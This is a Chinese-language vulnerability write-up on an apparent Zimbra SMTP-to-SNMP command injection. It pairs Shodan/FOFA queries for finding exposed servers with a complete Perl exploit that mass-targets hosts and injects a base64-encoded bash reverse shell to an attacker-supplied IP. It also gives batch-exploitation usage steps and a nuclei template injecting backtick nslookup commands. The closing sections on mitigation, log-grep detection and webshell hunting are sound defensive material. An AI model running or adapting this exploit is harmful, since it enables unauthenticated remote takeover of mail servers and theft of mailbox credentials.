前言：本文中涉及到的相关技术或工具仅限技术研究与讨论，严禁用于非法用途，否则产生的一切后果自行承担，如有侵权请私聊删除。知识星球和交流群在最下方。需要cnvd（中高）/c2nd（高与支撑单位）/安全证书请联系vx咨询

http.title:\"Zimbra Web Client Sign In\"http.title:\"Zimbra Collaboration Suite\"http.html:\"Zimbra Collaboration Suite Web Client\"

title=\"zimbra web client sign in\"title=\"zimbra collaboration suite\"app=\"Zimbra-Collaboration-Suite\"

Service status change: <NAME> changed from (stopped|running) to (running|stopped)

安全假设                          实际情况
─────────────────────────────────────────────────────────────────
\"日志内容是系统自身的可信输出\"  →  SMTP 会话中攻击者可控的地址也原样入日志
\"匹配到的 <NAME> 一定是服务名\"  →  可以是含 shell 元字符的任意字符串
\"下游组件拿到的是纯数据\"       →  swatchdog 直接传参，zmsnmptrapd 反引号执行
─────────────────────────────────────────────────────────────────

ZCS < 10.1.20
    │
    ├── ① zimbra-snmp 包已安装
    │
    ├── ② SNMP 通知已启用（zimbraSnmpNotifyTrap 配置）
    │
    └── ③ swatchdog 服务运行中（日志监控生效，默认启用）

┌────────────────────────────────────────────────────────────────────┐
│                      CVE-2026-73570 攻击链                          │
├────────────────────────────────────────────────────────────────────┤
│                                                                    │
│  ① 未认证攻击者连接目标 SMTP 端口（25 / 465 / 587）                │
│          ↓                                                         │
│  ② 发送含命令替换载荷的 SMTP 命令                                  │
│     （EHLO / MAIL FROM / RCPT TO 均可作为载体）                     │
│          ↓                                                         │
│  ③ Zimbra 将 SMTP 会话内容写入 /var/log/zimbra.log                 │
│     （即使收件人被拒绝，日志照记不误）                              │
│          ↓                                                         │
│  ④ swatchdog 监控日志，匹配到                                      │
│     \"Service status change: X changed from ...\" 模式              │
│          ↓                                                         │
│  ⑤ 捕获的 <NAME> 字段未经净化，传递给 zmsnmptrapd                  │
│          ↓                                                         │
│  ⑥ zmsnmptrapd 使用 Perl 反引号拼接执行                            │
│          ↓                                                         │
│  ⑦ 以 zimbra OS 用户权限执行任意命令 → RCE                         │
│     （落地 webshell / 窃取邮箱凭据 / 横向移动）                     │
│                                                                    │
└────────────────────────────────────────────────────────────────────┘

RCPT TO:<\"这里面: 几乎可以放! 任意 $(`字符`)\"@example.com>

Service status change: <NAME> changed from (stopped|running) to (running|stopped)

RCPT TO:<\"x: Service status change: localhost $(CMD) changed from stopped to running\"@cve.invalid>

my $shell_cmd = \"bash -c 'bash -i >&/dev/tcp/<rhost>/<rport> 0>&1'\";  # 反弹 shell
my $b64       = encode_base64($shell_cmd, '');                         # base64 规避特殊字符
my $cmd       = \"echo ${b64}|base64 -d|bash\";                          # 解码并执行
my $inject    = \"\\$(${cmd})\";                                          # 包装为命令替换
my $rcpt      = qq{\"x: Service status change: localhost ${inject} changed from stopped to running\"\\@cve.invalid};

S: 220 mail.target.com ESMTP ready
C: EHLO mx-test.invalid
S: 250-mail.target.com
   250-STARTTLS
   250 SIZE 20480000
C: MAIL FROM:<[email protected]>
S: 250 OK
C: RCPT TO:<\"x: Service status change: localhost $(echo BASE64PAYLOAD|base64 -d|bash) changed from stopped to running\"@cve.invalid>
S: 550 5.1.1 recipient rejected        ← 被拒绝没有关系，日志已经写入
C: QUIT
S: 221 Bye

... REJECT ... RCPT TO:<\"x: Service status change: localhost $(echo BASE64PAYLOAD|base64 -d|bash) changed from stopped to running\"@cve.invalid>

攻击者              Zimbra SMTP          /var/log/zimbra.log     swatchdog        zmsnmptrapd
  │                     │                      │                    │                 │
  │─ SMTP 会话 ────────►│  写入投毒日志行       │                    │                 │
  │◄── 550 REJECT ──────│─────────────────────►│                    │                 │
  │                     │                      │  轮询匹配模式        │                 │
  │                     │                      │◄───────────────────│                 │
  │                     │                      │  捕获 <NAME> 未净化 │                 │
  │                     │                      │───────────────────►│── 传递参数 ────►│
  │                     │                      │                    │                 │
  │                     │                      │                    │   Perl 反引号执行 │
  │                     │                      │                    │   $(...) 以 zimbra│
  │                     │                      │                    │   用户身份运行    │

# ① 确认 Zimbra 版本（< 10.1.20 且满足配置则受影响）
su - zimbra -c \"zmcontrol -v\"

# ② 确认 zimbra-snmp 包是否安装
rpm -qa | grep zimbra-snmp        # RHEL/CentOS
dpkg -l | grep zimbra-snmp        # Ubuntu/Debian

# ③ 确认 SNMP 通知配置
su - zimbra -c \"zmprov gcf zimbraSnmpNotify\"

# ④ 确认 swatchdog 是否运行
ps -ef | grep -i swatch

#!/usr/bin/perl############################################################################### CVE-2026-73570 — Zimbra Collaboration Suite (ZCS)# SNMP Notification OS Command Injection — Unauthenticated RCE via SMTP# Github : https://github.com/0xBlackash/CVE-2026-73570# Author : Achraf Zaryouh ==> 0xBlackash## Affected   : ZCS < 10.1.20 (zimbra-snmp pkg installed + snmp_notify enabled)# CVSS 3.1   : 8.9 HIGH  —  AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L# CWE        : CWE-78 (Improper Neutralisation of OS Command Special Elements)# Fixed      : Zimbra 10.1.20 (released July 2026)# CISA KEV   : Added 2026-08-21  (remediation deadline 2026-08-24 for FCEB)## Root Cause# ──────────# The optional zimbra-snmp package ships a swatchdog configuration that# watches /var/log/zimbra.log for log lines matching the pattern:##   Service status change: <NAME> changed from (stopped|running) to (running|stopped)## When a matching line is seen, swatchdog passes the captured <NAME> field# directly to the SNMP notification shell script without sanitisation.# An unauthenticated attacker can inject a fake log line via a crafted# SMTP RCPT TO command using a quoted local-part (valid per RFC 5321),# embedding shell metacharacters — e.g. $(...) — inside <NAME>.## Attack Flow# ───────────# 1. Attacker opens TCP to port 25 / 465 / 587 of the Zimbra server.# 2. Sends EHLO, MAIL FROM, then a specially crafted RCPT TO:#    RCPT TO:<\"x: Service status change: localhost $(CMD) changed from#             stopped to running\"@cve.invalid># 3. Zimbra logs the (rejected or accepted) RCPT TO data.# 4. swatchdog matches the log line pattern.# 5. SNMP notification handler executes CMD as the 'zimbra' OS user.## References# ──────────# https://nvd.nist.gov/vuln/detail/CVE-2026-73570# https://github.com/0xBlackash/CVE-2026-73570# https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories# https://moje.cert.pl/komunikaty/2026/145/aktywnie-wykorzystywana-podatnosc-w-zimbra-collaboration-suite# https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-73570## Usage:#   perl CVE-2026-73570.pl -H mail.target.com  -r 10.10.10.1 -R 4444#   perl CVE-2026-73570.pl -f targets.txt      -r 10.10.10.1 -R 4444## targets.txt format:#   mail.example.com         <- default port (--port)#   mail.example.com:25      <- explicit port#   10.0.0.50:587## Listener: nc -lvnp 4444###############################################################################use strict;use warnings;use IO::Socket::INET;use IO::Socket::SSL  qw(SSL_VERIFY_NONE);use MIME::Base64     qw(encode_base64 decode_base64);use Digest::HMAC_MD5 qw(hmac_md5_hex);use POSIX            qw(strftime);use Fcntl            qw(:flock);use Getopt::Long     qw(:config no_ignore_case bundling);
our $VERSION = '1.0.0';
# ── ANSI colors (disabled when stdout is not a TTY) ──────────────────────────my %C;{    my $tty = -t STDOUT;    %C = (        rst  => $tty ? \"\\033[0m\"  : '',        bold => $tty ? \"\\033[1m\"  : '',        red  => $tty ? \"\\033[91m\" : '',        grn  => $tty ? \"\\033[92m\" : '',        ylw  => $tty ? \"\\033[93m\" : '',        blu  => $tty ? \"\\033[94m\" : '',        mag  => $tty ? \"\\033[95m\" : '',        cyn  => $tty ? \"\\033[96m\" : '',        wht  => $tty ? \"\\033[37m\" : '',    );}
# ── globals ───────────────────────────────────────────────────────────────────my ($sock, $log_fh, $tls_active);
# ── options ───────────────────────────────────────────────────────────────────my %O = (    host    => '',    port    => 587,    file    => '',    rhost   => '',    rport   => 4444,    timeout => 15,    ssl     => 0,    verbose => 0,    logfile => '',);
GetOptions(    'host|H=s'    => \\$O{host},    'port|p=i'    => \\$O{port},    'file|f=s'    => \\$O{file},    'rhost|r=s'   => \\$O{rhost},    'rport|R=i'   => \\$O{rport},    'timeout|t=i' => \\$O{timeout},    'ssl|S'       => \\$O{ssl},    'verbose|v'   => \\$O{verbose},    'logfile|L=s' => \\$O{logfile},    'help|h'      => \\&usage,) or usage();
usage() unless ($O{host} || $O{file}) && $O{rhost};
# ── build target list ─────────────────────────────────────────────────────────my @targets;
if ($O{host}) {    push @targets, { host => $O{host}, port => $O{port} };}
if ($O{file}) {    open(my $fh, '<', $O{file}) or die \"[-] Cannot open '$O{file}': $!\
\";    while (my $line = <$fh>) {        chomp $line;        $line =~ s/^\\s+|\\s+$//g;        next if $line eq '' || $line =~ /^#/;        my ($h, $p) = split(/:/, $line, 2);        $p = $O{port} unless defined $p && $p =~ /^\\d+$/;        push @targets, { host => $h, port => int($p) };    }    close $fh;    die \"[-] No valid targets in '$O{file}'\
\" unless @targets;}
# ── payload (built once, reused for every target) ─────────────────────────────my $shell_cmd = \"bash -c 'bash -i >&/dev/tcp/$O{rhost}/$O{rport} 0>&1'\";my $b64       = encode_base64($shell_cmd, '');$b64 =~ s/\\s+//g;my $cmd    = \"echo ${b64}|base64 -d|bash\";my $inject = \"\\$(${cmd})\";my $rcpt   = qq{\"x: Service status change: localhost ${inject} changed from stopped to running\"\\@cve.invalid};
# ── banner ────────────────────────────────────────────────────────────────────open_log() if $O{logfile};print_banner();say_info(sprintf \"Targets : %d host(s)\", scalar @targets);say_info(\"Shell   : $O{rhost}:$O{rport}\");say_info(\"Listener: nc -lvnp $O{rport}\");print \"\
\";
# ── target loop ───────────────────────────────────────────────────────────────my ($ok, $fail) = (0, 0);
for my $i (0 .. $#targets) {    my $t = $targets[$i];    say_info(\"─\" x 50);    say_info(sprintf \"[%d/%d] %s:%d\", $i+1, scalar @targets, $t->{host}, $t->{port});
    my $result = run_exploit($t->{host}, $t->{port});
    if ($result eq 'ok') {        say_ok(\"PAYLOAD SENT — waiting for shell on nc -lvnp $O{rport}\");        $ok++;    } else {        say_err(\"FAILED: $result\");        $fail++;    }
    sleep 1 unless $i == $#targets;}
# ── summary ───────────────────────────────────────────────────────────────────print \"\
\";say_info(\"═\" x 50);say_info(sprintf \"Summary: %d/%d hit  %d failed\", $ok, scalar @targets, $fail);say_info(\"═\" x 50);
close_log() if $log_fh;exit 0;
# ═════════════════════════════════════════════════════════════════════════════# run_exploit — attempts the injection against a single target# ═════════════════════════════════════════════════════════════════════════════sub run_exploit {    my ($host, $port) = @_;    my $use_ssl = $O{ssl} || ($port == 465);
    # ── connect ───────────────────────────────────────────────────────────────    eval {        if ($use_ssl) {            $sock = IO::Socket::SSL->new(                PeerHost        => $host,                PeerPort        => $port,                SSL_verify_mode => SSL_VERIFY_NONE,                Timeout         => $O{timeout},                Proto           => 'tcp',            ) or die \"SSL: \" . IO::Socket::SSL::errstr();            $tls_active = 1;        } else {            $sock = IO::Socket::INET->new(                PeerHost => $host,                PeerPort => $port,                Timeout  => $O{timeout},                Proto    => 'tcp',            ) or die \"TCP: $!\";            $tls_active = 0;        }    };    if ($@) { (my $e = $@) =~ s/\\s+$//; return $e }
    $sock->autoflush(1);    say_dbg(\"Connected\");
    # ── banner ────────────────────────────────────────────────────────────────    my $banner = smtp_read_line();    unless ($banner =~ /^220/) {        close_sock();        return \"unexpected banner: $banner\";    }    say_dbg(\"Banner: $banner\");
    # ── EHLO ─────────────────────────────────────────────────────────────────    smtp_send(\"EHLO mx-test.invalid\");    my $ehlo = smtp_read_multi();    unless ($ehlo =~ /^250/m) {        close_sock();        return \"EHLO failed\";    }
    # ── STARTTLS ─────────────────────────────────────────────────────────────    if (!$tls_active && $ehlo =~ /STARTTLS/i) {        smtp_send(\"STARTTLS\");        my $r = smtp_read_line();        if ($r =~ /^220/) {            IO::Socket::SSL->start_SSL($sock, SSL_verify_mode => SSL_VERIFY_NONE)                or do { close_sock(); return \"STARTTLS failed\" };            $tls_active = 1;            say_dbg(\"STARTTLS negotiated\");            smtp_send(\"EHLO mx-test.invalid\");            smtp_read_multi();        }    }
    # ── injection ─────────────────────────────────────────────────────────────    smtp_send(\"MAIL FROM:<scanner\\@mx-test.invalid>\");    my $r1 = smtp_read_line();    say_dbg(\"MAIL FROM: $r1\");    unless ($r1 =~ /^250/) {        smtp_send(\"QUIT\"); smtp_read_line(); close_sock();        return \"MAIL FROM rejected: $r1\";    }
    say_dbg(\"RCPT TO: <$rcpt>\");    smtp_send(\"RCPT TO:<$rcpt>\");    my $r2 = smtp_read_line();    say_dbg(\"RCPT TO resp: $r2\");
    smtp_send(\"QUIT\");    smtp_read_line();    close_sock();
    return 'ok' if $r2 =~ /^[245]\\d{2}/;    return \"no valid response: $r2\";}
# ── SMTP layer ────────────────────────────────────────────────────────────────sub smtp_send {    my ($line) = @_;    say_dbg(\">>> $line\");    log_write(\">>> $line\");    print $sock \"$line\\r\
\";}
sub smtp_read_line {    my $line = '';    eval {        local $SIG{ALRM} = sub { die \"timeout\
\" };        alarm($O{timeout});        $line = <$sock> // '';        alarm(0);    };    $line =~ s/[\\r\
]+$//;    say_dbg(\"<<< $line\") if $line;    log_write(\"<<< $line\") if $line;    return $line;}
sub smtp_read_multi {    my $buf = '';    eval {        local $SIG{ALRM} = sub { die \"timeout\
\" };        alarm($O{timeout});        while (my $line = <$sock>) {            $buf .= $line;            last if $line =~ /^\\d{3} /;        }        alarm(0);    };    $buf =~ s/[\\r\
]+$//;    return $buf;}
sub close_sock {    return unless $sock;    eval { $sock->close() };    $sock = undef;    $tls_active = 0;}
# ── output ────────────────────────────────────────────────────────────────────sub print_banner {    my ($b, $n, $c, $g, $y) = @C{qw(bold rst cyn grn ylw)};    print \"${b}${c}  ╔══════════════════════════════════════════════════════════╗${n}\
\";    print \"${b}${c}  ║  CVE-2026-73570  —  Zimbra ZCS Unauthenticated RCE      ║${n}\
\";    print \"${b}${c}  ║  SNMP Notification OS Command Injection — Reverse Shell  ║${n}\
\";    print \"${b}${c}  ╠══════════════════════════════════════════════════════════╣${n}\
\";    print \"${b}${c}  ║  ${g}CVSS 3.1: 8.9 HIGH${c}  ZCS < 10.1.20                       ║${n}\
\";    print \"${b}${c}  ║  ${y}Authorized security testing use only${c}                    ║${n}\
\";    print \"${b}${c}  ╚══════════════════════════════════════════════════════════╝${n}\
\
\";}
sub _ts { strftime(\"%H:%M:%S\", localtime) }
sub say_ok   { _say($C{bold}.$C{grn}.\"[+]\".$C{rst}, @_) }sub say_info { _say($C{bold}.$C{blu}.\"[*]\".$C{rst}, @_) }sub say_err  { _say($C{bold}.$C{red}.\"[-]\".$C{rst}, @_) }sub say_dbg  { return unless $O{verbose}; _say($C{mag}.\"[~]\".$C{rst}, @_) }
sub _say {    my ($prefix, $msg) = @_;    printf \"%s[%s]%s %s %s\
\", $C{wht}, _ts(), $C{rst}, $prefix, $msg;    log_write($msg);}
sub log_write {    my ($msg) = @_;    return unless $log_fh;    flock($log_fh, LOCK_EX);    printf $log_fh \"[%s] %s\
\", strftime(\"%Y-%m-%d %H:%M:%S\", localtime), $msg;    flock($log_fh, LOCK_UN);}
sub open_log {    open($log_fh, '>>', $O{logfile}) or die \"[-] Cannot open log '$O{logfile}': $!\
\";    $log_fh->autoflush(1);}
sub close_log {    close($log_fh) if $log_fh;    $log_fh = undef;}
# ── help ──────────────────────────────────────────────────────────────────────sub usage {    print <<'END';
Usage:  perl CVE-2026-73570.pl -H <host>      -r <IP> [-R <port>] [options]  perl CVE-2026-73570.pl -f <list.txt>  -r <IP> [-R <port>] [options]
Options:  -H, --host    <host>    Single target (hostname or IP)  -f, --file    <file>    File with target list (one per line)  -p, --port    <port>    Default SMTP port [default: 587]  -r, --rhost   <IP>      Your IP to receive the reverse shell (required)  -R, --rport   <port>    Listener port [default: 4444]  -t, --timeout <sec>     Socket timeout [default: 15]  -S, --ssl               Direct TLS (auto for port 465)  -v, --verbose           Show full SMTP dialog  -L, --logfile <file>    Save session to log file  -h, --help              This help
targets.txt format:  mail.example.com           <- default port (--port)  mail.example.com:25        <- explicit port  10.0.0.50:587  # comments are ignored
Examples:  perl CVE-2026-73570.pl -H mail.target.com -r 10.10.10.1 -R 4444 -v  perl CVE-2026-73570.pl -f targets.txt     -r 10.10.10.1 -R 4444 -L scan.log  nc -lvnp 4444
END    exit 0;}

git clone https://github.com/0xBlackash/CVE-2026-73570
cd CVE-2026-73570

# 先开启监听（等待反弹 shell）
nc -lvnp 4444

# 单目标利用
perl CVE-2026-73570.pl -H mail.target.com -r <你的IP> -R 4444

# 批量利用（targets.txt 每行一个，支持 host 或 host:port 格式）
perl CVE-2026-73570.pl -f targets.txt -r <你的IP> -R 4444 -L scan.log

id: CVE-2026-73570
info:  name: Zimbra Collaboration Suite < 10.1.20 - OS Command Injection  author: 0x_Akoko,ritikchaddha  severity: high  description: |    Zimbra Collaboration Suite (ZCS) before version 10.1.20 is vulnerable to OS command injection in the SNMP notification processing due to improper input sanitization. According to the NVD, when SNMP notifications are enabled and the zimbra-snmp package is installed, an unauthenticated attacker can inject arbitrary commands using crafted SMTP requests that result in malicious log entries. The swatchdog service monitors the log, and upon matching a pattern, passes the log content to zmsnmptrapd, which unsafely uses the Perl backtick operator to execute commands. This can ultimately allow remote attackers to execute arbitrary operating system commands as the zimbra user. Active exploitation of this vulnerability has been observed in the wild, as confirmed by CERT Polska and CISA.  impact: |    Unauthenticated remote code execution as the zimbra user. Successful exploitation allows webshell placement in /opt/zimbra/jetty/webapps/ or /opt/zimbra/jetty_base/webapps/, email credential theft, access to every mailbox on the server, and lateral movement to internal network resources.  remediation: |    Upgrade Zimbra Collaboration Suite to version 10.1.20 or later. The only complete fix is the 10.1.20 release (July 20, 2026). As a temporary mitigation, disable SNMP notifications (unset zimbraSnmpNotifyTrap) or uninstall the zimbra-snmp package and stop the swatchdog service.  reference:    - https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories    - https://moje.cert.pl/komunikaty/2026/145/aktywnie-wykorzystywana-podatnosc-w-zimbra-collaboration-suite/    - https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-73570    - https://github.com/HORKimhab/CVE-2026-73570    - https://nvd.nist.gov/vuln/detail/CVE-2026-73570  classification:    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L    cvss-score: 8.9    cve-id: CVE-2026-73570    epss-score: 0.71663    epss-percentile: 0.99409    cwe-id: CWE-78  metadata:    verified: false    max-request: 2    vendor: synacor    product: zimbra_collaboration_suite    shodan-query:      - http.title:\"Zimbra Web Client Sign In\"      - http.title:\"Zimbra Collaboration Suite\"      - http.html:\"Zimbra Collaboration Suite Web Client\"    fofa-query:      - title=\"zimbra web client sign in\"      - title=\"zimbra collaboration suite\"      - app=\"Zimbra-Collaboration-Suite\"  tags: cve,cve2026,zimbra,rce,oast,kev,smtp,snmp,network,vkev
flow: http(1) && tcp(1)
http:  - raw:      - |        GET /js/zimbraMail/share/model/ZmSettings.js HTTP/1.1        Host: {{Hostname}}
    matchers:      - type: dsl        dsl:          - 'status_code == 200'          - 'contains(body, \"Zimbra Collaboration Suite Web Client\")'          - 'compare_versions(version, \"< 10.1.20\")'        condition: and        internal: true
    extractors:      - type: regex        name: version        part: body        group: 1        regex:          - 'CLIENT_VERSION[^\"]*defaultValue[^\"]*\"(\\d+\\.\\d+\\.\\d+)'          - '\"(\\d+\\.\\d+\\.\\d+)_GA'        internal: true
tcp:  - host:      - \"{{Host}}:25\"
    inputs:      - data: \"\"        read: 512      - data: \"EHLO `nslookup {{interactsh-url}}`\\r\
\"        read: 512      - data: \"MAIL FROM:<zimbra@`nslookup {{interactsh-url}}`>\\r\
\"        read: 512      - data: \"RCPT TO:<postmaster@localhost>\\r\
\"        read: 512      - data: \"QUIT\\r\
\"        read: 64
    matchers:      - type: word        part: interactsh_protocol        words:          - \"dns\"# digest: 4a0a00473045022100845e94345d34deb106868bd7cc1daea83fb0acf62fe168335a8a802b196d3e4002204c054be3d0344c4855a2a3061dd3a6ac280524132fd9643735fcbe345f906d27:922c64590222798bb761d5b6d8e72950

# 对目标列表批量检测
nuclei -l urls.txt -t network/cves/2026/CVE-2026-73570.yaml

http:
  - raw:
      - |
        GET /js/zimbraMail/share/model/ZmSettings.js HTTP/1.1
        Host: {{Hostname}}
matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, \"Zimbra Collaboration Suite Web Client\")'
          - 'compare_versions(version, \"< 10.1.20\")'

tcp:
  - host:
      - \"{{Host}}:25\"
    inputs:
      - data: \"\"
        read: 512
      - data: \"EHLO `nslookup {{interactsh-url}}`\\r\
\"
        read: 512
      - data: \"MAIL FROM:<zimbra@`nslookup {{interactsh-url}}`>\\r\
\"
        read: 512
      - data: \"RCPT TO:<postmaster@localhost>\\r\
\"
        read: 512
      - data: \"QUIT\\r\
\"
        read: 64
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - \"dns\"

① 禁用 SNMP 通知（关闭 zimbraSnmpNotifyTrap 配置项）
② 卸载 zimbra-snmp 可选包
③ 停止 swatchdog 服务

1. 摸清资产：用 FOFA/Shodan 语法盘点对外暴露的 Zimbra 实例
2. 核对版本：逐台确认 ZCS 版本是否 < 10.1.20
3. 核对配置：确认 zimbra-snmp / SNMP 通知 / swatchdog 状态
4. 立即处置：升级到 10.1.20+，短期无法升级则执行临时缓解
5. 历史排查：按 7.2 节特征回溯日志，确认是否已被利用
6. 持续监控：处置完成后保持日志监控一段时间

# 核心特征：Service status change 行中出现命令替换/管道等元字符（正常业务不会出现）
grep -E \"Service status change:\" /var/log/zimbra.log* | grep -E '`|\\$\\(|\\||;|&'

# 同时检查 SMTP 会话日志中的异常收件人地址（带引号本地部分是强信号）
grep -E 'RCPT TO:<\"' /var/log/zimbra.log*

Service status change: <恶意载荷> changed from stopped to running
Service status change: <恶意载荷> changed from running to stopped

# 检查 web 可写目录中的新增/近期修改文件（webshell 落地点）
find /opt/zimbra/jetty/webapps /opt/zimbra/jetty_base/webapps \\
  -name \"*.jsp\" -o -name \"*.jspx\" -o -name \"*.war\" | xargs ls -la

# 检查 zimbra 用户的异常进程与外连
ps -u zimbra -o pid,lstart,cmd
ss -tnp | grep -v -E ':(25|80|443|465|587|7071|7025)\\b'

# 检查近期新增的定时任务与 SSH 公钥（持久化排查）
crontab -u zimbra -l
ls -la /opt/zimbra/.ssh/ 2>/dev/null